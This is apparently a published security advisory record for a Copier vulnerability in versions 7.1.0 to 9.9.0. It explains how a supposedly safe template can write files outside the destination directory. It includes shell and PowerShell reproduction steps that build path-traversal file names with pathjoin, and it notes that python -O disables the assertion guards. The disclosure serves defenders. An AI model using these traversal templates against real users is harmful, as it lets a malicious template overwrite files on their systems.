id: PYSEC-2026-1273 published: "2026-07-07T16:03:01.489150Z" modified: "2026-07-07T17:23:57.495026Z" aliases: - CVE-2025-55214 - GHSA-p7q8-grrj-3m8w summary: Copier's safe template has filesystem write access outside destination path details: "### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin `pathjoin` Jinja filter and its builtin `_copier_conf.sep` variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n#### Write access via generated relative path\n\nReproducible example:\n\n```shell\necho \"foo\" > forbidden.txt\nmkdir src/\necho \"bar\" > \"src/{{ pathjoin('..', 'forbidden.txt') }}\"\nuvx copier copy src/ dst/\ncat forbidden.txt\n```\n\n#### Write access via generated absolute path\n\nReproducible example:\n\n- POSIX:\n\n ```shell\n # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`\n echo \"foo\" > forbidden.txt\n mkdir src/\n echo \"bar\" > \"src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}\"\n uvx --from copier python -O -m copier copy --overwrite src/ dst/\n cat forbidden.txt\n ```\n\n- Windows (PowerShell):\n\n ```powershell\n # Assumption: The current working directory is `C:\\Users\\\\Temp\\test-copier-vulnerability`\n echo \"foo\" > forbidden.txt\n mkdir src\n Set-Content -Path src\\copier.yml @'\n drive:\n type: str\n default: \"C:\"\n when: false\n '@\n echo \"bar\" > \"src\\{{ pathjoin(drive, 'Users', '', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}\"\n uvx --from copier python -O -m copier copy --overwrite src dst\n cat forbidden.txt\n ```\n\nThis scenario is slightly less severe, as Copier has a few [assertions of the destination path being relative](https://github.com/copier-org/copier/blob/d106ea543fd26e1ac1b9a3dcef3e99cc70fdf57c/copier/_main.py#L747) which would typically be raised. But `python -O` (or `PYTHONOPTIMIZE=x`) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the `--overwrite` flag for non-interactive mode; yet malicious file writes might go unnoticed." affected: - package: name: copier ecosystem: PyPI purl: pkg:pypi/copier ranges: - type: ECOSYSTEM events: - introduced: 7.1.0 - fixed: 9.9.1 versions: - 7.1.0 - 7.2.0 - 8.0.0 - 8.1.0 - 8.2.0 - 8.3.0 - 9.0.1 - 9.1.0 - 9.1.1 - 9.2.0 - 9.3.0 - 9.3.1 - 9.4.0 - 9.4.1 - 9.5.0 - 9.6.0 - 9.7.0 - 9.7.1 - 9.8.0 - 9.9.0 references: - type: WEB url: https://github.com/copier-org/copier/security/advisories/GHSA-p7q8-grrj-3m8w - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2025-55214 - type: WEB url: https://github.com/copier-org/copier/commit/fdbc0167cc22780b497e4db176feaf6f024757d6 - type: PACKAGE url: https://github.com/copier-org/copier - type: PACKAGE url: https://pypi.org/project/copier - type: ADVISORY url: https://github.com/advisories/GHSA-p7q8-grrj-3m8w severity: - type: CVSS_V4 score: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N